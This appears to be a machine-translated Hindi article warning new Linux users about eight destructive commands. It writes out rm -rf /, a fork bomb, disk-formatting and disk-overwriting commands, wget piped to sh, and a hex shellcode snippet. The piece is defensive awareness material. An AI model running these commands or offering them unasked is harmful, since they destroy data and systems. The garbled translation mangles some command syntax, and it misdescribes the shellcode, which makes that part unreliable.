8 घातक कमांड आपको लिनक्स पर कभी नहीं चलाना चाहिए
लिनक्स के टर्मिनल कमांड शक्तिशाली हैं, और यदि आप एक कमांड चलाते हैं जो आपके सिस्टम को तोड़ देगा, तो लिनक्स आपसे पुष्टि नहीं करेगा। नए लिनक्स उपयोगकर्ताओं को इन आदेशों को मजाक के रूप में चलाने की सिफारिश करना ट्रोल को ऑनलाइन देखना असामान्य नहीं है.
आपके द्वारा चलाए जा रहे कमांड को सीखना लिनक्स को कैसे काम करता है, इसकी समझ को बढ़ाते हुए आपको ट्रॉल्स से बचाने में मदद कर सकता है। यह एक संपूर्ण मार्गदर्शक नहीं है, और यहाँ आदेशों को विभिन्न तरीकों से रीमिक्स किया जा सकता है.
ध्यान दें कि इनमें से कई कमांड केवल तभी खतरनाक होंगे जब वे इसके साथ उपसर्ग करें sudo उबंटू पर - वे अन्यथा काम नहीं करेंगे। अन्य लिनक्स वितरण पर, अधिकांश कमांड को रूट के रूप में चलाया जाना चाहिए.
छवि क्रेडिट: खोपड़ी और क्रॉसबोन्स ने ट्विटर पर जेसन फोर्ड से रीमिक्स किया
rm -rf / - सब कुछ हटाता है!
आदेश rm -rf / आपके हार्ड ड्राइव पर मौजूद फ़ाइलों और कनेक्टेड रिमूवेबल मीडिया डिवाइसेज़ की फ़ाइलों सहित संभवतः यह सब कुछ हटा सकता है। यदि यह टूट गया है तो यह आदेश अधिक समझ में आता है:
rm - निम्न फ़ाइलों को निकालें.
-आरएफ - Rm को पुनरावर्ती रूप से चलाएँ (निर्दिष्ट फ़ोल्डर के अंदर सभी फ़ाइलों और फ़ोल्डरों को हटा दें) और आपको संकेत दिए बिना सभी फ़ाइलों को हटा दें.
/ - आरएम को रूट डायरेक्टरी में शुरू करने के लिए कहता है, जिसमें आपके कंप्यूटर की सभी फाइलें और रिमोट फाइल शेयर और रिमूवेबल ड्राइव सहित सभी माउंटेड मीडिया डिवाइस शामिल हैं।.
लिनक्स खुशी से इस आदेश का पालन करेगा और आपको बिना संकेत दिए सब कुछ हटा देगा, इसलिए इसका उपयोग करते समय सावधान रहें! Rm कमांड का उपयोग अन्य खतरनाक तरीकों से भी किया जा सकता है - rm -rf ~ अपने घर फ़ोल्डर में सभी फ़ाइलों को हटा देगा, जबकि rm -rf * आपकी सभी कॉन्फ़िगरेशन फ़ाइलों को हटा देगा.
सीख: Rm -rf से सावधान रहें.
प्रच्छन्न rm -rf /
यहाँ कोड का एक और स्निपेट है जो पूरे वेब पर है:
char esp [] __attribute__ ((अनुभाग ("। पाठ"))) / * e.s.p
जारी *
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ x83 \ xc4 \ x74 \ X56"
"\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31"
"\ Xc0 \ X40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
“Cp -p / bin / sh /tmp/.beyond; चामोद 4755
/tmp/.beyond, ";
यह rm -rf / का हेक्स संस्करण है - इस कमांड को निष्पादित करने से आपकी फाइलें ठीक हो जाएंगी जैसे कि आपने rm -rf /.
सीख: अजीब दिखने वाले मत भागो, स्पष्ट रूप से प्रच्छन्न आदेश जो आपको समझ में नहीं आते हैं.
: () : |: & ;: - फोर्क बम
निम्नलिखित लाइन एक साधारण-सी दिखने वाली, लेकिन खतरनाक, बाश फ़ंक्शन है:
: () : |: & ;:
यह छोटी रेखा एक शेल फ़ंक्शन को परिभाषित करती है जो स्वयं की नई प्रतियां बनाती है। प्रक्रिया लगातार खुद को दोहराती है, और इसकी प्रतियां लगातार खुद को दोहराती हैं, जल्दी से अपने सभी सीपीयू समय और मेमोरी को लेती हैं। इससे आपका कंप्यूटर जम सकता है। यह मूल रूप से सेवा से वंचित है.
सीख: बैश फ़ंक्शन शक्तिशाली हैं, यहां तक कि बहुत कम हैं.
इमेज क्रेडिट: विकिमीडिया कॉमन्स पर डाके
mkfs.ext4 / dev / sda1 - एक हार्ड ड्राइव को प्रारूपित करता है
mkfs.ext4 / dev / sda1 कमांड को समझना आसान है:
mkfs.ext4 - निम्नलिखित डिवाइस पर एक नया ext4 फ़ाइल सिस्टम बनाएं.
/ Dev / sda1 - पहली हार्ड ड्राइव पर पहले विभाजन को निर्दिष्ट करता है, जो संभवतः उपयोग में है.
एक साथ लिया गया, यह कमांड रनिंग फॉर्मेट c के बराबर हो सकता है: Windows पर - यह आपके पहले विभाजन की फाइलों को मिटा देगा और उन्हें एक नई फाइल सिस्टम से बदल देगा।.
यह कमांड अन्य रूपों में भी आ सकती है - mkfs.ext3 / dev / sdb2 ext3 फ़ाइल सिस्टम के साथ दूसरी हार्ड ड्राइव पर दूसरे विभाजन को प्रारूपित करेगा.
सीख: हार्ड डिस्क उपकरणों पर सीधे कमांड चलाने से सावधान रहें जो / dev / sd से शुरू होते हैं.
कमांड> / dev / sda - सीधे हार्ड ड्राइव पर लिखता है
कमांड> / देव / एसडीए लाइन इसी तरह काम करती है - यह एक कमांड चलाता है और उस कमांड के आउटपुट को सीधे आपकी पहली हार्ड ड्राइव पर भेजता है, डेटा को हार्ड डिस्क ड्राइव पर सीधे लिखता है और आपकी फाइल सिस्टम को नुकसान पहुंचाता है।.
आदेश - एक कमांड चलाएं (कोई भी कमांड हो सकती है।)
> - कमांड के आउटपुट को निम्न स्थान पर भेजें.
/ Dev / sda - कमांड का आउटपुट सीधे हार्ड डिस्क डिवाइस पर लिखें.
सीख: जैसा कि ऊपर कहा गया है, ऐसे कमांड को चलाने के लिए, जिसमें हार्ड डिस्क डिवाइस शामिल हैं, जो शुरुआत / dev / sd के साथ होते हैं.
dd if = / dev / random = of / dev / sda - हार्ड ड्राइव पर रद्दी ओन लिखता है
dd if = / dev / random = of / dev / sda लाइन आपके हार्ड ड्राइव में से एक पर डेटा को भी मिटा देगी.
dd - एक स्थान से दूसरे स्थान पर निम्न-स्तर की प्रतिलिपि बनाना.
अगर = / dev / यादृच्छिक - इनपुट के रूप में / dev / random (यादृच्छिक डेटा) का उपयोग करें - आप ऐसे स्थानों को भी देख सकते हैं जैसे / dev / शून्य (शून्य).
के = / dev / sda - पहली हार्ड डिस्क पर आउटपुट, यादृच्छिक कचरा डेटा के साथ इसकी फाइल सिस्टम की जगह.
सीख: dd एक स्थान से दूसरे स्थान पर डेटा की प्रतिलिपि बनाता है, जो किसी डिवाइस पर सीधे कॉपी करने पर खतरनाक हो सकता है.
छवि क्रेडिट: फ़्लिकर पर मैट रूड
mv ~ / dev / null - अपने होम डायरेक्टरी को ब्लैक होल में ले जाता है
/ dev / null एक और विशेष स्थान है - किसी चीज़ को / dev / null पर ले जाना उसी को नष्ट करने जैसा है। ब्लैक होल के रूप में / dev / null के बारे में सोचें। अनिवार्य रूप से, mv ~ / देव / अशक्त आपकी सभी व्यक्तिगत फ़ाइलों को एक ब्लैक होल में भेजता है.
mv - निम्न फ़ाइल या निर्देशिका को किसी अन्य स्थान पर ले जाएं.
~ - आपके पूरे होम फोल्डर का प्रतिनिधित्व करता है.
/ Dev / बातिल - अपने होम फोल्डर को / dev / null में ले जाएं, अपनी सभी फाइलों को नष्ट करें और मूल प्रतियों को हटा दें.
सीख: ~ चरित्र आपके होम फ़ोल्डर का प्रतिनिधित्व करता है और चीजों को / dev / null तक ले जाना उन्हें नष्ट कर देता है.
wget http://example.com/something -O - | श - डाउनलोड और एक स्क्रिप्ट चलाता है
उपरोक्त पंक्ति वेब से एक स्क्रिप्ट डाउनलोड करती है और इसे श में भेजती है, जो स्क्रिप्ट की सामग्री को निष्पादित करती है। यह खतरनाक हो सकता है यदि आप सुनिश्चित नहीं हैं कि स्क्रिप्ट क्या है या यदि आप इसके स्रोत पर भरोसा नहीं करते हैं - अविश्वसनीय स्क्रिप्ट न चलाएं.
wget - एक फ़ाइल डाउनलोड करता है। (आप wget के स्थान पर curl भी देख सकते हैं।)
http://example.com/something - इस स्थान से फ़ाइल डाउनलोड करें.
| - पाइप (सेंड) wget कमांड का आउटपुट (आपके द्वारा डाउनलोड की गई फ़ाइल) सीधे दूसरे कमांड पर जाता है.
श - फ़ाइल को sh कमांड पर भेजें, जो इसे बैश स्क्रिप्ट होने पर निष्पादित करती है.
सीख: वेब से अविश्वसनीय स्क्रिप्ट डाउनलोड और रन न करें, यहां तक कि एक कमांड के साथ भी.
किसी भी अन्य खतरनाक कमांड को जानें जो नए (और अनुभवी) लिनक्स उपयोगकर्ताओं को नहीं चलना चाहिए? एक टिप्पणी छोड़ें और उन्हें साझा करें!